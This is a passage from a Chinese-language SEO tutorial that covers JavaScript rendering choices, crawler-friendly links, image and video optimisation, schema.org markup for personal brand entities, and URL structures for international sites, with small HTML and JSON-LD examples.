&lt;p&gt;服务器只返回一个几乎空白的HTML壳子和一个巨大的JS包。浏览器（或WRS）下载并执行JS，然后通过API请求数据，最终将内容渲染到页面上。这是&lt;code&gt;create-react-app&lt;/code&gt;或&lt;code&gt;vue-cli&lt;/code&gt;默认的模式&lt;/p&gt;
&lt;p&gt;:::yellow[特性]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;索引延迟&lt;/strong&gt;：你的内容需要排队等待第二波渲染，收录速度可能极慢。对于新闻或时效性强的内内容是致命的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渲染失败风险&lt;/strong&gt;：如果你的JS代码有bug、网络请求超时、或者过于复杂导致WRS执行超时，渲染就会失败。结果就是，Google索引的是一个&lt;strong&gt;空白或不完整的页面&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;抓取预算消耗&lt;/strong&gt;：渲染需要巨大的计算资源，这会消耗你的抓取预算。Google可能不愿意为一个需要复杂渲染的小网站投入太多资源
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;9.1.2 服务端渲染 &lt;code&gt;Server-Side Rendering&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;用户的请求到达服务器后，服务器在后端执行React/Vue代码，获取数据，生成完整的HTML，然后将这个HTML返回给浏览器。浏览器接收到的是已经包含所有内容的页面。Next.js, Nuxt.js等框架的核心功能就是SSR&lt;/p&gt;
&lt;p&gt;:::yellow[特性]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;即时索引&lt;/strong&gt;：Googlebot在第一波抓取时，就能拿到包含所有内容的完整HTML，无需等待渲染，索引速度极快&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高可靠性&lt;/strong&gt;：避免了客户端环境的各种不确定性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更好的性能指标&lt;/strong&gt;：通常有更快的FCP和LCP，对用户体验和Core Web Vitals友好
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;9.1.3 静态站点生成 &lt;code&gt;Static Site Generation&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;在&lt;strong&gt;构建时&lt;/strong&gt;，就预先为每个页面生成一个纯HTML文件。服务器要做的只是一个简单的文件服务。Gatsby, Astro, 以及Next.js/Nuxt.js的静态导出模式都属于SSG&lt;/p&gt;
&lt;p&gt;:::yellow[特性]
&lt;strong&gt;拥有SSR的所有优点，并且性能是三者中最好的&lt;/strong&gt;，服务器响应极快&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;适用&lt;/strong&gt;：博客、文档、作品集、营销网站等内容不频繁变动的网站。对于你的博客来说，&lt;strong&gt;SSG是技术和SEO上的最优解&lt;/strong&gt;。
:::&lt;/p&gt;
&lt;h3&gt;9.2 动态渲染 &lt;code&gt;Dynamic Rendering&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;在服务器层面，通过识别请求的&lt;code&gt;User-Agent&lt;/code&gt;，来决定返回什么内容&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果&lt;code&gt;User-Agent&lt;/code&gt;是普通用户浏览器，返回常规的CSR应用&lt;/li&gt;
&lt;li&gt;如果&lt;code&gt;User-Agent&lt;/code&gt;是Googlebot或其他爬虫，服务器会通过一个中间件（如Rendertron），将你的JS应用渲染成静态HTML，然后返回这个HTML给爬虫&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::yellow[为何弃用]
这曾经是Google推荐的方案，但现在已被视为一种&lt;strong&gt;过渡手段&lt;/strong&gt;。它增加了系统复杂度和维护成本，并且有被误判为伪装（即给爬虫和用户看不同内容）的风险&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;除非你有一个无法重构的庞大CSR遗留项目，否则应该优先考虑SSR或SSG&lt;/strong&gt;
:::&lt;/p&gt;
&lt;h4&gt;9.3 JS SEO调试工具&lt;/h4&gt;
&lt;p&gt;如何确定Google到底看到了什么？不要猜，要用工具验证&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Google Search Console - 网址检查 (URL Inspection Tool)&lt;/strong&gt;
:::blue[操作过程]
在GSC顶部输入你要检查的URL，然后点击&quot;&lt;strong&gt;测试实际网址 (Test Live URL)&lt;/strong&gt;&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;测试完成后，点击&quot;&lt;strong&gt;查看测试的网页 (View Tested Page)&lt;/strong&gt;&quot;。你会看到三个标签页：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTML&lt;/strong&gt;：这是Googlebot抓取到的&lt;strong&gt;原始&lt;/strong&gt;HTML&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;屏幕截图 (Screenshot)&lt;/strong&gt;：&lt;strong&gt;这是WRS渲染后的页面截图，是你网站的原始面貌&lt;/strong&gt;。如果这里是空白或者内容不全，说明你的JS渲染出了严重问题&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更多信息 (More Info)&lt;/strong&gt;：这里会显示页面资源（JS/CSS）是否加载失败、JS控制台有无错误等信息，是排查渲染失败的直接线索
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Chrome浏览器 - 移动设备友好性测试 (Mobile-Friendly Test)&lt;/strong&gt;
这是一个公开的工具，即使不是站长也能用。它的底层渲染引擎和Googlebot是相同的。你可以在这里快速预览Google眼中的页面样子&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;9.4 编写对爬虫友好的JS代码&lt;/h3&gt;
&lt;p&gt;即使你选择了CSR，也可以通过一些最佳实践来降低渲染失败的风险&lt;/p&gt;
&lt;h4&gt;9.4.1 避免#号路由&lt;/h4&gt;
&lt;p&gt;传统的Hash路由（如&lt;code&gt;xice.cx/#/page&lt;/code&gt;）中的&lt;code&gt;#&lt;/code&gt;及之后的内容不会被发送到服务器，Googlebot可能不会很好地处理它。请始终使用History API的URL（如&lt;code&gt;xice.cx/page&lt;/code&gt;），这也是所有现代前端框架的默认设置&lt;/p&gt;
&lt;h4&gt;9.4.2 提供真正的&lt;code&gt;&amp;lt;a href=&quot;...&quot;&amp;gt;&lt;/code&gt;链接&lt;/h4&gt;
&lt;p&gt;不要用&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;或&lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;加上&lt;code&gt;onClick&lt;/code&gt;事件来模拟页面跳转。爬虫只能识别标准的&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签和&lt;code&gt;href&lt;/code&gt;属性来发现新链接
```jsx
// ×××××错误×××××
&amp;lt;span onClick={() =&amp;gt; navigate(&apos;/openwrt-guide&apos;)}&amp;gt;OpenWrt 指南&amp;lt;/span&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ×××××爆赞×××××
&amp;lt;a href=&quot;/openwrt-guide&quot; onClick={handleNavigate}&amp;gt;OpenWrt 指南&amp;lt;/a&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9.4.3 小心处理内容注入&lt;/h4&gt;
&lt;p&gt;不要在用户滚动或点击后才加载核心内容。确保页面的主要内容在&lt;code&gt;onLoad&lt;/code&gt;事件后是可用的&lt;/p&gt;
&lt;h4&gt;9.4.4 处理好API错误&lt;/h4&gt;
&lt;p&gt;如果你的页面内容依赖API获取，确保当API请求失败时，你的代码能优雅地处理错误，而不是直接崩溃导致整个页面渲染失败。可以考虑在服务器端或构建时就获取关键数据，减少客户端API依赖&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10.图片与视频SEO&lt;/h2&gt;
&lt;p&gt;在像blog这种以文本为核心的SEO世界里，图片和视频往往被忽视。然而，对于像舞萌DX手元这样的视觉内容，或者需要大量截图的风景图集，富媒体本身就是内容的核心，也是Google图片搜索和视频搜索这两个巨大流量池的入口&lt;/p&gt;
&lt;h3&gt;10.1. 图片SEO&lt;/h3&gt;
&lt;p&gt;搜索引擎不是人类，它无法真正看到一张图片的内容（虽然AI识图技术在进步，但远未到完全依赖的程度）它依赖你提供的&lt;strong&gt;元数据&lt;/strong&gt;来理解图片&lt;/p&gt;
&lt;h4&gt;10.1.1 文件名 (File Name)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反例&lt;/strong&gt;：&lt;code&gt;IMG_8888.jpg&lt;/code&gt;, &lt;code&gt;screenshot-1.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;爆赞&lt;/strong&gt;：&lt;code&gt;maimai-dx-Xaleid_ScopiX-sssp-rank.webp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;文件名是搜索引擎对图片内容的第一个，也是最直接的线索。使用简短、描述性强、用连字符&lt;code&gt;-&lt;/code&gt;分隔的英文单词。它应该清晰地说明这张图片是什么&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;10.1.2 Alt文本&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;alt&lt;/code&gt;属性是&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;标签中最重要的SEO元素。它的首要目的是为了&lt;strong&gt;可访问性 (Accessibility)&lt;/strong&gt;&lt;br /&gt;
当图片加载失败或用户使用屏幕阅读器时，&lt;code&gt;alt&lt;/code&gt;文本会被显示或朗读出来。搜索引擎则将其作为理解图片内容的核心依据&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反例&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;不写&lt;code&gt;alt&lt;/code&gt;属性。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=&quot;...&quot; alt=&quot;图片&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;关键词堆砌：&lt;code&gt;&amp;lt;img src=&quot;...&quot; alt=&quot;舞萌DX maimai DX 谱面 XaleidscopiX xi&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;爆赞&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=&quot;...&quot; alt=&quot;一名玩家正在游玩舞萌DX的谱面《Xaleid_ScopiX》并达成SSS+评价的结算画面&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;用一句话，向一个看不见图片的人，清晰地描述这张图片的内容和上下文。&lt;/strong&gt; 它应该自然地包含关键词，但绝不是堆砌&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;10.1.3. 图片尺寸与性能&lt;/h4&gt;
&lt;p&gt;巨大的图片是拖慢LCP的元凶&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;响应式图片&lt;/strong&gt; &lt;code&gt;Responsive Images&lt;/code&gt;&lt;br /&gt;
使用&lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt;标签或&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;的&lt;code&gt;srcset&lt;/code&gt;和&lt;code&gt;sizes&lt;/code&gt;属性，为不同屏幕尺寸和分辨率的设备提供不同大小的图片&lt;pre&gt;&lt;code&gt;&amp;lt;img srcset=&quot;openwrt-config-small.jpg 480w,
             openwrt-config-large.jpg 1080w&quot;
     sizes=&quot;(max-width: 600px) 480px,
            1080px&quot;
     src=&quot;openwto-config-large.jpg&quot;
     alt=&quot;OpenWrt防火墙配置的后台截图&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这能确保手机用户不会被迫下载桌面端的大图，极大提升移动端加载速度&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;新一代图片格式&lt;/strong&gt;&lt;br /&gt;
尽可能使用&lt;code&gt;WebP&lt;/code&gt;或&lt;code&gt;AVIF&lt;/code&gt;格式。它们在同等视觉质量下，文件体积通常比JPEG或PNG小30%以上&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;懒加载&lt;/strong&gt;&lt;br /&gt;
对于非首屏的图片，使用原生的&lt;code&gt;loading=&quot;lazy&quot;&lt;/code&gt;属性。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;arch-linux-step-10.jpg&quot; loading=&quot;lazy&quot; alt=&quot;...&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这能让浏览器只在图片即将进入视口时才开始加载，极大提升初始页面加载速度
:::&lt;/p&gt;
&lt;h4&gt;10.1.4. 图片站点地图 &lt;code&gt;Image Sitemaps&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;如果图片是你网站的核心内容（比如一个摄影作品集），或者你的图片是通过JavaScript加载的，创建一个独立的图片站点地图可以帮助Google更好地发现和索引它们&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;sitemap.xml&lt;/code&gt;中，为每个URL条目加入&lt;code&gt;&amp;lt;image:image&amp;gt;&lt;/code&gt;标签，提供图片的URL、标题、说明等信息&lt;/p&gt;
&lt;h3&gt;10.2 视频SEO&lt;/h3&gt;
&lt;p&gt;视频结果在搜索页面上通常占据巨大空间，非常吸引眼球。优化得当的视频，是获取高点击率的利器&lt;/p&gt;
&lt;h4&gt;10.2.1 视频托管&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;YouTube&lt;/strong&gt;&lt;br /&gt;
YouTube本身就是巨大的流量来源，上传到YouTube的视频，在Google搜索中天然有更高的展示权重，无需担心带宽和播放体验&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;bilibili&lt;/strong&gt;等视频平台&lt;br /&gt;
更适合中国大陆的用户群体，无需担心带宽和播放体验&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自托管&lt;/strong&gt;：
完全控制，无广告，可以自定义播放器，但你需要自己处理视频托管、CDN分发、播放器兼容性，并且失去了YouTube/bilibili等带来的巨大流量和Google的排名优势&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;10.2.2. 视频结构化数据&lt;/h4&gt;
&lt;p&gt;这是视频SEO的&lt;strong&gt;核心&lt;/strong&gt;。通过在你的网页上部署&lt;code&gt;VideoObject&lt;/code&gt; Schema，你可以明确地告诉Google关于这个嵌入视频的一切&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt;: 视频标题（应具描述性，包含关键词）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;description&lt;/code&gt;: 视频描述（详细介绍视频内容）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;thumbnailUrl&lt;/code&gt;: 视频封面图的URL（一张吸引人的封面图至关重要）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;uploadDate&lt;/code&gt;: 上传日期。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;duration&lt;/code&gt;: 视频时长（ISO 8601格式，如&lt;code&gt;PT1M30S&lt;/code&gt;表示1分30秒）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;contentUrl&lt;/code&gt;: 视频文件本身的URL（如果自托管）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;embedUrl&lt;/code&gt;: 视频的嵌入播放器URL（如YouTube的嵌入URL）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;VideoObject&quot;,
  &quot;name&quot;: &quot;【maimai外部出力】PANDORA PARAODXXX 101%&quot;,
  &quot;description&quot;: &quot;这是一位玩家游玩maimai时录制的PANDORA PARADOXXX 101%理论值的手元视频，提供了手元参考&quot;,
  &quot;thumbnailUrl&quot;: &quot;https://cdn.chongxi.us/thumbnails/pandora101.jpg&quot;,
  &quot;uploadDate&quot;: &quot;1919-08-10T11:45:14+08:00&quot;,
  &quot;duration&quot;: &quot;PT2M28S&quot;,
  &quot;embedUrl&quot;: &quot;https://www.youtube.com/embed/qwq&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h4&gt;10.2.3. Key Moments / Video Chapters&lt;/h4&gt;
&lt;p&gt;Key Moments 是Google在视频搜索结果中展示的、带有时间戳的章节导航。它能让用户直接跳转到视频中最感兴趣的部分，极大提升用户体验和点击率&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在你的YouTube视频的&lt;strong&gt;描述区&lt;/strong&gt;，按照&lt;code&gt;时间戳 + 章节标题&lt;/code&gt;的格式，写下你的视频章节&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;必须&lt;/strong&gt;从&lt;code&gt;00:00&lt;/code&gt;开始&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;至少需要3个时间戳&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```
(0:00) intro
(0:52) 天苍苍野茫茫风吹草低见牛羊
(1:13) 我有玉米症
(2:12) 登神长阶
```
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当用户在Google搜索相关内容时，你的视频结果下方可能会直接出现像&lt;code&gt;登神长阶&lt;/code&gt;等可点击的章节链接
:::&lt;/p&gt;
&lt;h4&gt;10.2.4. 视频站点地图 &lt;code&gt;Video Sitemaps&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;与图片站点地图类似，如果你网站上有大量视频内容，创建一个视频站点地图可以帮助Google更全面地发现它们&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;11.品牌信号与实体&lt;/h2&gt;
&lt;p&gt;目前为止，我们所有的优化都还局限于&lt;code&gt;字符串匹配&lt;/code&gt;的范畴&lt;br /&gt;
但搜索引擎的终极目标，是理解Things，而非Strings.&lt;br /&gt;
它致力于构建一个庞大的、关于真实世界万事万物的数据库，这就是知识图谱&lt;/p&gt;
&lt;h3&gt;11.1 什么是实体&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;字符串&lt;/strong&gt;：&quot;曲师xi&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;实体&lt;/strong&gt;：一个ID（比如&lt;code&gt;/m/114_514&lt;/code&gt;），这个ID关联着一系列&lt;strong&gt;属性&lt;/strong&gt;和&lt;strong&gt;关系&lt;/strong&gt;：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;- 名称: xi
- 职业: 作曲家
- 国籍: 日本
- 所属: Diverse System
- 代表作: Freedom Dive, Ascention to Heaven

- 参加过: BOF
- 作品被收录于: iidx,sdvx,maimai...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当Google能像这样理解xi时，它就能回答更复杂的用户查询，比如&quot;xi有哪些被iidx收录的曲子？&quot;。&lt;/p&gt;
&lt;p&gt;我们的目标，就是帮助Google为&lt;strong&gt;你或你的互联网资产&lt;/strong&gt;，也建立起这样一个实体档案&lt;/p&gt;
&lt;h3&gt;11.2 如何构建你的品牌实体&lt;/h3&gt;
&lt;h4&gt;11.2.1 用Schema.org定义你自己&lt;/h4&gt;
&lt;p&gt;这是最直接、最可控的一步。通过结构化数据，你是在向Google提交一份关于你自己的&lt;strong&gt;实体声明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
你应该在你的&lt;strong&gt;核心页面&lt;/strong&gt;（如首页、关于我页面）部署这个Schema，而不是每一篇文章&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ```json
    {
      &quot;@context&quot;: &quot;https://schema.org&quot;,
      &quot;@type&quot;: &quot;Person&quot;,
      &quot;name&quot;: &quot;Chongxi&quot;, // 你的名字或网名
      &quot;url&quot;: &quot;/about&quot;, // 指向你&quot;关于我&quot;页面的URL
      &quot;sameAs&quot;: [ // 这是关键！用它来关联你在全网的其他身份
        &quot;https://github.com/ChongxiSama&quot;,
        &quot;https://twitter.com/@CEPATO&quot;,
        &quot;https://space.bilibili.com/500042199&quot;
      ],
      &quot;description&quot;: &quot;一位兴趣爱好十分广泛的个人开发者&quot;,
      &quot;knowsAbout&quot;: [ // 声明你的专业领域
        &quot;Linux&quot;,
        &quot;Web dev&quot;,
        &quot;Web3&quot;,
        &quot;Network Engineering&quot;
      ]
    }
    ```
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sameAs&lt;/code&gt;属性至关重要。它像一个&lt;strong&gt;外键关联&lt;/strong&gt;，帮助Google将你在不同平台上的身份碎片，整合到同一个实体之下&lt;/li&gt;
&lt;li&gt;确保&lt;code&gt;name&lt;/code&gt;在你所有的网络身份中保持高度一致
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;11.2.2 外部验证&lt;/h4&gt;
&lt;p&gt;Google不会只听你的一面之词。它需要从它已经信任的、中立的第三方数据源中，找到关于你的信息来交叉验证&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;寻找种子站点 &lt;code&gt;Seed Sites&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;
Google构建知识图谱的初始数据，很大一部分来自像&lt;strong&gt;Wikipedia、Wikidata、DBpedia&lt;/strong&gt;这类大型、结构化的知识库&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;Wikipedia&lt;/strong&gt;&lt;br /&gt;
如果你（或你的项目）的成就和知名度，已经达到了维基百科的&lt;strong&gt;关注度指引&lt;/strong&gt;标准（例如，被多个独立的、可靠来源广泛报道），那么创建一个维基百科条目，是构建实体的最强信号。这是一个非常高的门槛，但威力巨大&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;行业权威目录&lt;/strong&gt;&lt;br /&gt;
在你的领域内，是否存在公认的权威数据库或社区？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于&lt;strong&gt;xi&lt;/strong&gt;，他在各Wiki上的条目，就是强力的实体验证来源
对于一个&lt;strong&gt;开源项目&lt;/strong&gt;，它在GitHub上的Repo、在&lt;code&gt;SourceForge&lt;/code&gt;上的页面，就是它的证明
对于一个&lt;strong&gt;技术博主&lt;/strong&gt;，你在&lt;code&gt;Stack Overflow&lt;/code&gt;上的高声望个人资料、你在&lt;code&gt;GitHub&lt;/code&gt;上贡献的项目，都是外部验证信号
&lt;strong&gt;你该怎么做&lt;/strong&gt;：去这些你所在领域的权威第三方平台上，创建并完善你的个人资料或项目页面，确保信息（特别是你的名字/品牌名）与你网站上声明的一致
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;11.2.3 全网强化&lt;/h4&gt;
&lt;p&gt;当你的实体被初步建立后，Google会开始在全网范围内寻找关于你的&lt;strong&gt;对话&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;11.2.3.1 无链接品牌提及&lt;/h5&gt;
&lt;p&gt;当一个网站或论坛上，有人提到了你的名字或博客名（比如&quot;我昨天看了Chongxi那个三星手机用Surfing打不了电话的解决方案，很有帮助&quot;），即使&lt;strong&gt;没有附带任何链接&lt;/strong&gt;，Google的自然语言处理模型也能识别出这是在讨论你的实体&lt;/p&gt;
&lt;p&gt;:::blue[BLUE]
Google会分析提及你实体时的&lt;strong&gt;上下文&lt;/strong&gt;和&lt;strong&gt;情感&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;积极上下文&lt;/strong&gt;：如果你的名字经常和&quot;推荐&quot;、&quot;感谢&quot;、&quot;解决了我的问题&quot;、&quot;好文&quot;等词语一起出现&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消极上下文&lt;/strong&gt;：如果经常和&quot;过时了&quot;、&quot;有错误&quot;、&quot;不推荐&quot;等词语一起出现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些信号会被汇总，作为评估你实体&lt;strong&gt;声望&lt;/strong&gt;和&lt;strong&gt;影响力&lt;/strong&gt;的依据&lt;/p&gt;
&lt;p&gt;你可以：
&lt;strong&gt;鼓励讨论&lt;/strong&gt;：在你的文章末尾，不要只说&quot;欢迎评论&quot;，可以说&quot;如果你在配置中遇到任何问题，欢迎在下面的评论区或去V2EX/Reddit上带着我的blog URL提问
&lt;strong&gt;积极参与社群&lt;/strong&gt;：以你的名义，去相关的技术社区贡献有价值的回答。你的每一次高质量的发言，都是在全网范围内强化你的个人品牌实体
&lt;strong&gt;监控你的品牌提及&lt;/strong&gt;：使用Google Alerts或其他品牌监控工具，追踪全网提到你名字的地方。这不仅能帮你了解大家对你的看法，还能发现一些潜在的链接建设机会（比如，你可以联系提到你但没链接的站长，礼貌地请求加上链接）
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;传统的SEO让你思考&lt;strong&gt;如何让我的网页排名更高？&lt;/strong&gt;&lt;br /&gt;
现在则让你思考一个更宏大的问题：&lt;strong&gt;如何让Google和全世界都认识到，我是Arch Linux这个领域里一个值得信赖的、权威的知识来源？&lt;/strong&gt;&lt;br /&gt;
当你成功地将自己打造成一个实体后，你会发现你的排名会变得异常稳固，并且开始能在一些你甚至没有专门优化的相关查询上获得排名。因为Google不再是推荐你的一篇文章，而是在推荐&lt;strong&gt;你&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;12. 国际化SEO&lt;/h2&gt;
&lt;p&gt;国际化SEO是一套技术规范，旨在帮助你向搜索引擎清晰地说明：&lt;strong&gt;我的网站为哪些国家和/或语言的用户提供了内容，以及这些不同版本之间的对应关系是什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;做对这件事，可以避免内容因语言不同而被视为重复，并确保正确的语言版本出现在对应国家/地区的搜索结果中。做错则可能导致流量混乱，甚至排名受损&lt;/p&gt;
&lt;h3&gt;12.1 URL结构的选择&lt;/h3&gt;
&lt;p&gt;你迈向全球的第一步，也是最重要的架构决策。你有三种主要方式来组织你的多语言内容，每种方式都有其明确的技术优劣和信号强度&lt;/p&gt;
&lt;p&gt;:::yellow[ccTLDs]
&lt;strong&gt;结构&lt;/strong&gt;：&lt;code&gt;chongxi.jp&lt;/code&gt; (日文), &lt;code&gt;chongxi.us&lt;/code&gt; (英文)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最强的地理定位信号&lt;/strong&gt;：&lt;code&gt;.jp&lt;/code&gt;这个域名本身就在强烈地告诉Google和用户：“这个网站是专门为日本市场服务的。” 这对于获取本地排名极具优势&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务器地理位置灵活&lt;/strong&gt;：你可以将&lt;code&gt;.jp&lt;/code&gt;的服务器放在东京，&lt;code&gt;.de&lt;/code&gt;的服务器放在法兰克福，为本地用户提供最快的访问速度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;成本高昂&lt;/strong&gt;：需要注册和管理多个域名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权威性分散&lt;/strong&gt;：每个域名都是一个独立的网站，你需要为&lt;code&gt;.jp&lt;/code&gt;和&lt;code&gt;.de&lt;/code&gt;分别建立外链和权威性，它们之间&lt;strong&gt;不会自动继承&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：拥有充足预算和本地运营团队的大型跨国品牌。对于个人博客，这通常不是首选
:::&lt;/p&gt;
&lt;p&gt;:::yellow[Subdirectories/Subfolders]
&lt;strong&gt;结构&lt;/strong&gt;：&lt;code&gt;chongxi.us/ja/&lt;/code&gt; (日文), &lt;code&gt;chongxi.us/en/&lt;/code&gt; (英文)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;权威性集中&lt;/strong&gt;：所有语言版本都在同一个主域名下，它们共享并共同贡献于&lt;code&gt;chongxi.us&lt;/code&gt;这个域名的整体权威性。你为英文版获取的外链，其权重也会流向日文版，反之亦然。&lt;strong&gt;这是最大的优势。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;维护成本低&lt;/strong&gt;：只需管理一个网站、一个主机账户、一个SSL证书&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置简单&lt;/strong&gt;：在技术上最容易实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;地理定位信号相对较弱（但可以通过GSC设置来弥补）&lt;/li&gt;
